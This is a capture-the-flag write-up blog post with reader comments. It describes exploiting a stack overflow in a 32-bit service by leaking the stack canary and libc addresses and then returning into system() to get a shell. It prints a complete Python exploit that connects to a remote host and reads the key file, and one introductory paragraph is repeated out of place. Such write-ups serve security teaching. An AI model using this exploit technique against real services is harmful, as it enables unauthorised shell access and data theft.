We were given a 32 bit ELF running on Ubuntu 13.10 x86 system with NX, Stack Canary and ASLR enabled. The vulnerability is in the function that handles option 4.
We have the address of stack and canary. Idea of the final payload is to call system("sh<&4 >&4"). For this, we leaked information of __libc_start_main's randomized address and computed offsets to the system() function. Now this is what the payload looks like
buf = dword ptr -16h .text:0804902F mov dword ptr [esp+8], 6Eh ; nbytes .text:08049037 lea eax, [ebp+buf] .text:0804903A mov [esp+4], eax ; buf .text:0804903E mov eax, [ebp+fd] .text:08049041 mov [esp], eax ; fd .text:08049044 call _read ; buffer overflow here .text:08049049 movzx eax, byte ptr [ebp+buf] .text:0804904D cmp al, 79h .text:0804904F jnz canary_check0x6E bytes can overflow the stack but stack canary should be bypassed to overwrite saved EIP. We can take advantage of below piece of code to get information leak.
.text:08049055 lea eax, [ebp+buf] .text:08049058 mov [esp+8], eax .text:0804905C mov dword ptr [esp+4], offset choice ; "You choose '%s'!\n" .text:08049064 mov dword ptr [esp], offset s ; s .text:0804906B call _sprintf .text:08049070 mov [ebp+n], eax .text:08049073 mov eax, [ebp+n] .text:08049076 mov [esp+8], eax ; n .text:0804907A mov dword ptr [esp+4], offset s ; buf .text:08049082 mov eax, [ebp+fd] .text:08049085 mov [esp], eax ; fd .text:08049088 call _writeThis is what the memory layout looks like
[10 bytes buffer | 4 bytes canary | 8 bytes buffer | 4 bytes EBP | 4 bytes EIP]Writing 10 bytes to buffer will concatenate the buffer with canary, such that sprintf() will read all 14 bytes since there is no NUL byte to terminate the memory area. But remote server had a canary value with NUL byte, so overwrite with 11 bytes to leak information about the canary. This will give us the canary value along with saved EBP, thus leaking the random address of stack.
We have the address of stack and canary. Idea of the final payload is to call system("sh<&4 >&4"). For this, we leaked information of __libc_start_main's randomized address and computed offsets to the system() function. Now this is what the payload looks like
[nnnnnnnnnn(10 bytes) | leaked canary(4 bytes) | 12 bytes junk | system@libc | 0xdeadbeef | arg ]Below is the final exploit:
#!/usr/bin/env python import struct import socket import time ip = '127.0.0.1' ip = '58.229.183.18' port = 8888 canary = 0x008bc384 ebp = 0xbfb0a7d8 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) time.sleep(3) soc.recv(8192) soc.send("4\n") time.sleep(1) soc.recv(512) canary = struct.pack(">I", canary) payload = "n" * 10 payload += canary payload += "A"*12 # padding payload += struct.pack("<I", 0xb759f260) # overwrite EIP with system@libc payload += struct.pack("<I", 0xdeadbeef) payload += struct.pack("<I", ebp-16) payload += "sh<&4 >&4\x00" soc.send(payload + "\n") soc.send('cat /home/angry_doraemon/key\n') print soc.recv(1024)Flag for the challenge is CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP
Hi,
ReplyDeleteCould you please to explain why there are exist 2 buffer from your memory layout ?
[10 bytes buffer | 4 bytes canary | 8 bytes buffer | 4 bytes EBP | 4 bytes EIP]
when I see in IDA :
int v1; // edx@3
int v2; // ecx@3
int v3; // eax@4
size_t v4; // ST1C_4@4
int result; // eax@5
int v6; // [sp+18h] [bp-20h]@1
int buf; // [sp+22h] [bp-16h]@1
int v8; // [sp+26h] [bp-12h]@1
__int16 v9; // [sp+2Ah] [bp-Eh]@1
int v10; // [sp+2Ch] [bp-Ch]@1
So I think the stack layout should be :
buf | v8 | canary (v10) | EBP | EIP
Is it right ?
Best Regards,
Hi VnSpl0it,
DeleteThis is what the stack looks like:
var_20= dword ptr -20h
n= dword ptr -1Ch
buf= dword ptr -16h
var_12= dword ptr -12h
var_E= word ptr -0Eh
canary= dword ptr -0Ch
fd= dword ptr 8
Canary is 0xC bytes away from EBP ie [canary | 8 bytes of data | EBP | EIP]. By 'buffer' I meant the stack space, not any variable name. Sorry, if that was misleading.
This comment has been removed by the author.
ReplyDeleteCan you tell me how could you get libc address ?
ReplyDeleteThank in advance :)
Read GOT entry of any of the resolved libc functions say __libc_start_main. Then add the offset difference between __libc_start_main + target libc function.
DeleteHi
ReplyDeleteEbp, What is the address?
EBP address varies due to ASLR. U have to use the leaked value. Here I used it to find the address of parameter passed to system() function.
DeleteThank you for the explanation about the Ebp address
ReplyDelete